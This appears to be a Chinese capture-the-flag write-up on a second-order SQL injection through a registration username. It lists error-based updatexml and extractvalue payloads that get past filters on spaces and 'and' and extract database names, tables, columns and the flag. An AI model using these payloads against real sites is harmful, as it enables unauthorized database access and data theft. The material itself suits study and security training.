这是一个二次注入,就是用户注册之后没有做检查直接将用户名带入数据库,改密码的时候将用户名完整带出,如果我们注册heheda\ 则在修改密码的时候数据库报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"heheda\" and pwd='202cb962ac59075b964b07152d234b70'' at line 1
这个时候我们再去注册其他的用户名,我们发现他过滤了and ,<>,空格,/**/,我们只能用()代替空格进行查询:
首先查数据库版本:
注册一个这样的用户名:
heheda"&&(1=(updatexml(1,concat(0x5e24,(select(version())),0x5e24),1)))#
报错:
XPATH syntax error: '^$5.1.73^$'
数据库名字:
heheda"&&(1=(updatexml(1,concat(0x5e24,(SELECT(group_concat(SCHEMA_NAME))FROM(information_schema.SCHEMATA)),0x5e24),1)))#
报错:
XPATH syntax error: '^$information_schema,web_sqli^$'
这里我要简单说明一下 group_concat的作用:
group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定
例如:select group_concat(User),* from user;
结果是:
+-------------------------------------------------+
| group_concat(User) |
+-------------------------------------------------+
| root,root,debian-sys-maint,phpmyadmin,root,root |
+-------------------------------------------------+
这样就可以一次查询多个值了
下面爆表:
heheda"&&(1=(updatexml(1,concat(0x5e24,(SELECT(group_concat(table_name))FROM(information_schema.tables)where(table_schema=0x7765625f73716c69)),0x5e24),1)))#
报错内容:XPATH syntax error: '^$article,flag,users^$'
爆users表的字段:
heheda"&&(1=(updatexml(1,concat(0x5e24,(SELECT(group_concat(COLUMN_NAME))FROM(Information_schema.columns)where(TABLE_SCHEMA=0x7765625f73716c69)&&(table_Name=0x7573657273)),0x5e24),1)))#
报错:
XPATH syntax error: '^$name,pwd,email,real_flag_1s_he'
发现没有爆完整:
我们排除掉几个字段继续:
heheda"&&(1=(updatexml(1,concat(0x5e24,(SELECT(group_concat(COLUMN_NAME))FROM(Information_schema.columns)where(TABLE_SCHEMA=0x7765625f73716c69)&&(table_Name=0x7573657273)&&(COLUMN_NAME!=0x6e616d65)&&(COLUMN_NAME!=0x656d61696c)),0x5e24),1)))#
报错:
XPATH syntax error: '^$pwd,real_flag_1s_here^$'
这回还不错
爆数据:
heheda"&&(1=(updatexml(1,concat(0x5e24,(SELECT(group_concat(real_flag_1s_here))FROM(users)),0x5e24),1)))#
报错:
XPATH syntax error: '^$xxx,xxx,xxx,xxx,xxx,xxx,xxx,RC'
发现有干扰数据:xxx
然后去掉干扰,换个姿势继续:
heheda"&&(extractvalue(1,concat(0x3a,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!=0x787878))))))#
报错:
XPATH syntax error: ':RCTF{sql_1njecti0n_is_f4n_6666}'
以上都是赛后借鉴大牛的wp写出来的,大牛的wp里面有的内容不太完整,我自己亲自实践,完善了整个过程,优化了一点查询语句,